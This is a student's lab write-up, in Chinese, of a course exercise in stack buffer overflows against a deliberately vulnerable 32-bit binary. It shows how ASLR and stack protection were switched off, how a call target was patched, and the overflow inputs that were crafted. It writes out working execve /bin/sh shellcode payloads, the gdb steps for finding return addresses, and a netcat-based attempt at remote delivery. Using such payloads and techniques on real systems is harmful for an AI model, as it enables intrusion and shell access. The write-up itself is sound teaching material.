《网络对抗》Exp1 PC平台逆向破解
1.基础知识
-
BoF(溢出攻击)原理,自己的理解
内存指定一片空间存放栈,寄存器ebp存放瞬时栈指针,是在调用函数,为函数分配栈空间时存放函数栈的栈底所在地址(内存中的地址),寄存器esp存放栈顶的地址(内存中的地址),当调用函数时,汇编里会执行
call
,这条指令相当于push %eip + jmp
,就是先把寄存器eip里的值(这个是call指令之后一条指令的内存地址,也就是函数执行完后要返回地址)压栈,然后跳转到调用函数的内存部分开始执行函数。函数执行开始,第一句汇编就是push %ebp
,就是把函数调用前的栈底(内存中地址)压栈,然后mov %esp, %ebp
,把当前寄存器esp里的值复制到寄存器ebp的值,现在寄存器ebp和寄存器esp存的值相同,寄存器ebp的值(存的内存空间地址)就开始作为函数栈的栈底,后面就是给函数栈分配空间了,函数栈分配空间一般不是很大,所以当函数里有溢出相关,比如调用了strcpy或者函数局部变量数组溢出,当溢出的值覆盖了压到栈中的函数返回值就可以实现溢出攻击。栈在内存中增长是向低地址空间增长,也就是(包括主函数)函数栈栈底在高地址,栈顶在低地址,函数里分配一片数组空间或者字符串指针,数据存放时又是从低地址向高地址存(内存中),所以这样会覆盖函数的返回地址。
-
汇编
- 指令
nop \x90 空指令,内存中空指令不执行,直接越过空指令,执行后面的指令
je \x74,跳转指令,je就是 jump equal ,条件是条件状态寄存器中的运算结果为标志Z=1(Zero=true)
jne \x75,跳转指令,je就是 jump not equal ,条件是条件状态寄存器中的运算结果为标志Z=0
jmp 直接跳转指令,分为jmp short(\xE8),jmp near(\xE9),jmp far(\xEA),short\near代表eip相对偏移8/16位,而far指的跳转绝对地址
cmp \x38-\x3D,比较指令,前后两个进行比较,相当于减法操作但只更改条件状态寄存器,有6条对应是前后操作位数或寄存器的不同
push,pop 栈相关指令
push %ebp 55
call 调用函数 相当于 mov %ebp,%esp + pop %ebp
ret 相当于pop %eip- 寄存器
esp 内存中栈顶位置
ebp 内存中栈底位置
eip 存放当前执行执行下一条要执行指令的地址
指令地址 就是内存空间,不过现在的一般都是经过映射后的虚拟地址,要经过转化才能得到真正的物理内存地址
-
实验涉及相关的命令
关闭内存空间随机化
sudo sysctl -w kernel.randomize_va_space=0
设置某个文件堆栈可执行execstack -s [可执行文件]
查看某文件堆栈是否可执行execstack -q [可执行文件]
反汇编命令:objdump -d filename
使用vim查看机器代码: 在vim里输入:%!xxd
转化为16进制数显示,:%!xxd -r
还原
使用管道作为可执行文件的输入:(cat [输入文件];cat)|[可执行文件名]
用十六进制数制作shellcode需要使用语言实现如,perl -e 'print"\x00\x00..."'
或者其他语言,再加上输出重定向>>就可以直接在kali终端里用一行命令生成shellcode文件
2.实验内容
-
三种攻击思路
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
-
三个实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
3.实验环境
(1)关闭堆栈执行保护(
execstack -s
)
(2)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0
或sudo sysctl -w kernel.randomize_va_space=0
)
(3)在x32环境下
(4)在kali Linux实践环境
4.实验过程
4.1直接修改程序机器指令,改变程序执行流程
4.1.1 具体思路
实验给的可执行代码中除了主函数还有两个函数,一个foo()和getshell()函数,主函数里只调用了foo(),可以通过反汇编可执行程序查看汇编代码,修改call指令处调用函数的地址,实现攻击
4.1.2 查看汇编代码
主函数跳转foo函数,call 0xffffffd7
call指令内存为0x080484b5,,其下一条指令地址为0x080484ba,0xffffffd7是-0x29的补码,计算0x080484ba-0x29=0x0848491,即函数foo()的起始地址
4.1.3 计算需要替换的值
函数getShell的起始地址为0x0804847d,0x0804847d-0x08484ba=-0x3d,-0x3d的补码是0xffffffc3,所以需要把主函数call指令的操作数改一下
4.1.4 修改主函数call指令跳转地址(vim :%!xxd
和/+十六进制数
)
- 左边是修改后的结果,右边是查找
- 运行结果
4.2通过构造输入参数,造成BOF攻击,改变程序执行流
4.2.1 具体思路,
分析可执行程序汇编,foo函数第三句
sub $0x38,%esp
,这是给函数栈分配栈空间大小的,第四句lea -0x1c(%ebp),%eax
,这是为分配函数内的局部变量的,通过前面运行可以猜到是一个字符指针,用来存输入的字符串的。函数栈大小有56(0x38)字节大小,而为字符串预留了28(0x1c)字节,然后与之相近的(从内存低到高,因为存字符串是低地址向高地址增长的),有主函数的栈基址,函数返回地址(压到栈中的eip寄存器值)。当字符串越界,即输入字符串超过28字节就会开始覆盖主函数栈基址,函数返回地址,由于给的可执行代码中有getShell()函数,所以将返回地址修改为getShell()的起始地址,就可以攻击成功
4.2.2 输入处理
分析汇编可以知道这个可执行文件是有缓冲区溢出的,那么构造就需要字符串在栈中大小28字节+存的主函数栈底4字节+存的foo函数返回地址4字节,其中前32字节可以随意输入32各英文字母或数字(一个字母或数字占1字节),后面需要输入getShell()函数起始地址0x0804847d。像A可以用/x41输入,但/x84这种无法直接输入,所以需要构造这样一个字符串使用
perl -e 'print"XXXXXX"'
或python -c 'print"XXXXXX"'
,语言命令行执行,再使用输出重定向写入到一个文件中。我采用的是perl -e 'print"abcdefghijklmnopqrstuvwxyzabcdef\x7d\x84\x04\x08" '> input_3.txt
4.2.3执行
既然构造的输入已经使用文件了,那么如何将文件中的字符串导入到可执行文件中,是程序运行了?使用管道。命令:
(cat [文件];cat)|[可执行文件]
(符号"|"即是管道,作用是连接程序,使前一个程序的输出传递给后一个程序作为输入)
4.3注入Shellcode并执行
4.3.1思路
因为现代操作系统有很多防范缓冲区溢出攻击的措施,所以为了保证实验能够成功,我们需要关闭一些对实验影响很大的,就是内存地址随机分配和文件堆栈不可执行保护。然后就是构造shellcode,修改shellcode以便能够运行,然后通过gdb调试找到函数返回地址,然后修改payload使攻击成功
4.3.2关闭系统保护
命令
- 关闭内存地址空间随机分配
sysctl -w kernel.randomize_va_space = 0
- 查看内存地址空间随机分配设置
sysctl -a --pattern randomize
- 设置单个文件堆栈可执行
execstack -s [文件]
- 查看单个文件堆栈执行状况
execstack -q [文件]
4.3.3第一次尝试
-
构造payload方法1:nop+shellcode+retaddr
参考实验1讲义中给的构造的攻击字符串,shellcode有25字节,所以需要加6个字节覆盖字符串的28字节和主函数栈底的4字节,后面再加上修改的返回地址,这个是需要调试出来的
-
生成payload攻击字符串
命令:
python -c 'print ("\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00")' > input_4.txt
前面32个字节是7个nop指令(占1字节)+25字节的shellcode+1条nop指令,后面填充了任意4个字节作为需要修改的返回地址,加上字符串结尾'\0'(C语言中的) -
payload 16进制表示
-
问题1,找不到进程
运行程序同上一步直接溢出更改程序执行流程相类似(cat [文件];cat)|[可执行文件]
查看进程PIDps -ef | grep [文件名/部分文件名]
调试是先运行程序,然后查找进程PID,在gdb里绑定进程后才能找到需要的返回地址在内存中存的位置。但运行后无法找到进程PID,后面反复去重试发现讲义中perl生成的输入文件可以找到进程PID,然后就想到了讲义中“输入不能有换行符”,而python中print函数自带换行符,所以需要去掉换行符。
-
问题2,运行失败
- 调试,开两个终端,一个运行程序,另一个调试,从而获取需要的返回地址
disassemble foo
反汇编函数,查看函数的汇编代码
b *[address]
在内存地址中address处设置断点
c
设置断点后可以直接跳到断点设置处
x/16x + address
获取内存中address及后面一共64字节
info r
查看寄存器里的值
- esp保存的是栈底,所以查看栈顶的内容,可以看到0xffffd190那一行右边最后开始就是我们payload开始nop指令,所以我们可以修改返回地址为0xffffd190+0x4*3=0xffffd19c,重新生成输入文件
perl -e 'print ("\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x9c\xd1\xff\xff\x00")' > input_4.txt
- 失败
鼠标选中的区域本该是shellcode代码,但前面4个字节是空的汇编截图
可以看到有多条push指令,当foo函数返回时,栈顶esp指向函数返回地址的地方,当执行push语句,esp向内存低地址方向移动并覆盖数据,而payload的shellcode也是这部分区域,因为多条push指令破坏了shellcode的完整使shellcode无法运行成功,提前终止时,程序结束前putstr函数遇到了字符串结束符'\0',所以就退出了,总之就是shellcode后边部分被push指令覆盖遭到了破坏,从而无法达到攻击效果。
4.3.4第二次尝试
-
构造payload方法2:retaddr+nop+shellcode(这是字符串的顺序,但内存存字符串是相反的)
前面是字符串肯定是无法成功的,所以可以参考改变程序执行流程那一步,在字符串前面加32字节填充分配的字符串空间+主函数栈底ebp的值,然后就要找返回地址了,同第一次尝试类似。
返回地址在运行后为0x04030201(构造的payload里的值),其在内存中地址为0xffffd19c,图中按内存地址继续增长后面就是nop指令,所以只要跳到nop指令上就行,我选择跳到nop第一次指令的地址0xffffd1a0,运行成功,图如下
4.4结合nc模拟远程攻击
尝试结果
我用kali作为被攻击机,Ubuntu作为攻击机,先为了设置两台虚拟机联通,我改了一些设置,改后无法通过复制粘贴把payload赋值到Ubuntu里,所以在Ubunut使用nc -l 9995 > input_5.txt
,kali使用nc 192.168.0.116 < input_4.txt
,将payload传过去。然后开始攻击,先kali里nc -l 28234 -e ./pwn20181324_4
,在Ubuntu里(cat input_5.txt;cat)|nc 192.168.0.117 28234
,结果无法成功,kali里显示错误:无效的硬件指令
5 其他问题
即使关闭了内存地址随机化,和使文件堆栈可执行,但我发现完成注入后,将虚拟机在电脑上挂着,几小时后再运行,就不能成功,重新调试,发现需要重新修改返回地址才行
6总结和收获
通过实验一步一步,学习了汇编和调试,让我们深刻了解了程序执行代码的进一步具体展示,同时学习了缓冲器攻击原理以及如何构造shellcode
漏洞有的是硬件漏洞,有的是软件漏洞,但我觉得很多都跟人有关,比如这次实验中的可执行代码,,调用了gets函数,这个已经是归于不安全的函数,安全需要代价,但很多时候人为了偷懒或者速度直接像这个文件中一样采用的有安全隐患的方法和策略,所以就不安全。漏洞的危害在于,一是不能保障自身系统的稳定运行,二是受到攻击后,攻击者可能非法访问私人数据,限制本人的可用权,利用获取的数据可对电子经济的真实性和不可否任性,科学技术的保密性,系统可用性等等都有巨大危害。